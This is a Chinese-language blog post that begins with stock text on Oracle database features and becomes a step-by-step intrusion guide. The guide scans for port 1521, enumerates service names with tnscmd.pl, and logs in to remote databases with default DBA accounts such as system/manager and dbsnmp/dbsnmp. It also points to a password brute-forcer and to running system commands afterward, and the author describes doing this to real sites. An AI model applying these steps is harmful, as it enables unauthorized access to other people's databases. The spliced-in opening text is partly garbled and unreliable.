一、支援大資料庫、多使用者的高效能的事務處理。oracle支援最大資料庫,其大小可到》幾百千兆,可充分利用硬體裝置。支援大量使用者同時在雖然oracle資料庫具有很高的安全性,但是如果我們在配置的時候不注意安全意識,那麼也是很危險的。也就是說,安全最主要的還是要靠人自己,而不能過分依賴軟體來實現。同一資料上執行各種資料應用,並使資料爭用最小,保證資料一致性。系統維護具有高》的效能,oracle每天可連續24小時工作,正常的系統操作
(後備或個別計算機系統故障)不會中斷資料庫的使用。可控制資料庫資料的可用性,可在資料庫級或在子資料庫級上控制。
二、oracle遵守資料訪問語言、作業系統、使用者介面和網路通訊協議的工業標準。所以》它是乙個開放系統,保護了使用者的投資。美國標準化和技術
研究所(nist)對oracle7 server進行檢驗,100%地與ansi/iso sql89標準的二級相》相容。
三、實施安全性控制和完整性控制。oracle為限制各監控資料訪問提供系統可靠的安全》性。oracle實施資料完整性,為可接受的資料指定標準。
四、支援分布式資料庫和分布處理。oracle為了充分利用計算機系統和網路,允許將處理分為資料庫伺服器和客戶應用程式,所有共享的資料管理 由資料庫管理系統的計算機處理,而執行資料庫應用的工作站集中於解釋和顯示資料。通過網路連線的計算機環境,oracle將存放在多台計算機上的 資料組合成乙個邏輯資料庫,可被全部網路使用者訪問。分布式系統像集中式資料庫一樣具有透明性和資料一致性。 具有可移植性、可相容性和可連線性。由於oracle軟體可在許多不同的作業系統上運 行,以致oracle上所開發的應用 可移植到任何作業系統,只需很少修改或不需修改。oracle軟體同工業標準相相容,包括很多任務業標準的作業系統, 所開發應用系統可在任何作業系統上執行。可連線性是指oralce允許不同型別的計算機和作業系統通過網路可共享資訊。
我們知道,在mssql
中,安裝完成後預設有個sa的登陸密碼為空,如果不更改就會產生安全漏洞。那麼oracle
呢?也有的。
為了安裝和除錯的方便,oracle資料庫中的兩個具有dba
許可權的使用者sys
和system
的預設密碼是manager
。
筆者發現很多國內**的oracle資料庫沒有更改這兩個使用者的密碼,其中也包括很多大型的電子商務**, 我們就可以利用
進行測試前我們先來了解一些相關的知識,我們連線乙個oracle
資料庫的時候,需要知道它的service_name
或者是sid
值,就象mssql
一樣,需要知道資料庫名。那如何去知道呢,猜?呵呵,顯然是不行的。這裡我們先講講oracle
的tns listener
,它位於資料庫client
和資料庫server
之間,預設監聽1521埠,這個監聽埠是可以更改的。但是如果你用乙個tcp的session去連線1521埠的話,oracle將不會返回它的banner,如果你輸入一些東西的話,它甚至有可能把你踢出去。這裡我們就需要用tnscmd.pl
這個perl
程式了,它可以查詢遠端oracle資料庫是否開啟(也就是ping了),查詢版本,以及查詢它的服務
名,服務狀態和資料庫服務名,而且正確率很高。
理論方面的講完了,如果還有什麼不懂的可以去查詢相關資料。現在開始測試吧,需要的工具有:我們先用activeperl
,oracle客戶端
,superscan
或者是其它掃瞄埠的軟體
,tnscmd.pl
。
superscan
掃瞄開放了埠1521的主機,假設其ip是xx.xx.110.110
,這樣目標已經有了。然後我們要做的就是用tnscmd.pl來查詢遠端資料庫的服務名了,
tnscmd.pl的用法如下:
c:perlbin>perl tnscmd.pl
usage: tnscmd.pl [command] -h hostname
where 'command' is something like ping, version, status, etc.
(default is ping)
[-p port] - alternate tcp port to use (default is 1521)
[--logfile logfile] - write raw packets to specified logfile
[--indent] - indent & outdent on parens
[--rawcmd command] - build your own connect_data string
[--cmdsize bytes] - fake tns command size (reveals packet leakage)
我們下面用的只有簡單的幾個命令,其他的命令也很好用,一起去發掘吧。
然後我們就這樣來:
c:perlbin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 –indent
sending (connect_data=(command=services)) to xx.xx.110.110:1521
writing 91 bytes
reading
._.......6.........?. ..........
description=
tmp=
vsnnum=135286784
err=0
services_exist=1
.q........
service=
service_name=orcl
instance=
instance_name=orcl
num=1
instance_class=oracle
handler=
handler_display=dedicated server
sta=ready
handler_info=local server
handler_maxload=0
handler_load=0
established=447278
refused=0
handler_id=8ca61d1bbda6-3f5c-e030-813df5430227
handler_name=dedicated
address=
protocol=beq
program=/home/oracle/bin/oracle
envs='oracle_home=/home/oracle,oracle_sid=orcl'
ar**0=oracleorcl
args='
local=no
'.........@
從上面得到的資訊我們可以看出資料庫的服務名為orcl,然後我們就可以通過sqlplus
工具來遠端連上它了,
使用者名稱和密碼我們用預設的system/manager
或者是sys/manager
,其他的如mdsys/mdsys
,ctxsys/ctxsys
等,
這個預設使用者和密碼是隨版本的不同而改變的。如下:
c:oracleora90bin>sqlplus /nolog
sql*plus: release 9.0.1.0.1 - production on thu may 23 11:36:59 2002
sql>connect system/manager@
(description=(address_list=(address=(protocol=tcp)
(host=xx.xx.110.110)(port=1521)))
(connect_data=(service_name=orcl)));
如果密碼正確,那麼就會提示connected
,如果不行,再換別的預設使用者名稱和密碼。經過筆者的嘗試一般用dbsnmp/dbsnmp
都能進去。當然如果對方已經把預設密碼改了,那我們只能換別的目標了。但是我發現很多都是不改的,這個就是安全意識的問題了。
tnscmd.pl
**: tnscmd.pl
用鍊錶實現的oracle密碼暴破程式
**: 用鍊錶實現的oracle密碼暴破程式
c:\>sqlplus /nolog
sql> connect system/manager@(description=(address_list=(address=(protocol=tcp)(host=www.xx.com)
(port=1521)))(connect_data=(service_name=ora9i)));
然後利用oracleexecutecommandsqlscript
來執行系統命令
收藏
弱口令總結(什麼是弱口令)
空口令 口令長度小於8 口令不應該為連續的某個字元 qqqqqq 賬號密碼相同 例 root root 口令與賬號相反 例 root toor 口令純數字 例 112312324234,號 口令純字母 例 asdjfhask 口令已數字代替字母 例 hello word,hell0 w0rd 口令採...
sql弱口令入侵
sql弱口令入侵 mssql伺服器sa使用者弱口令入侵是及其經典的一種黑客入侵手法 其成名是在中美黑客大戰的時候,我們的前輩利用它入侵了很多美國鬼 子的伺服器。下面我介紹一下這種入侵的詳細情況。基礎知識 我們在安裝mssql伺服器之後,系統會有個預設的帳號sa 而這個帳號預設又是空密碼。最要命的是這...
弱口令及其防禦
常見的弱口令分為預設型弱口令和社工型弱口令。1 路由器弱口令 2 安全裝置弱口令 3 監控裝置弱口令 4 爆破型弱口令 案例 通過whois資訊反查出郵箱密碼,登入網域名稱提供商,接管網域名稱。案例 社工得到知乎管理員微博密碼,第三方登入到知乎後台。大公司員工較多,員工安全意識參差不齊,很多人不會修...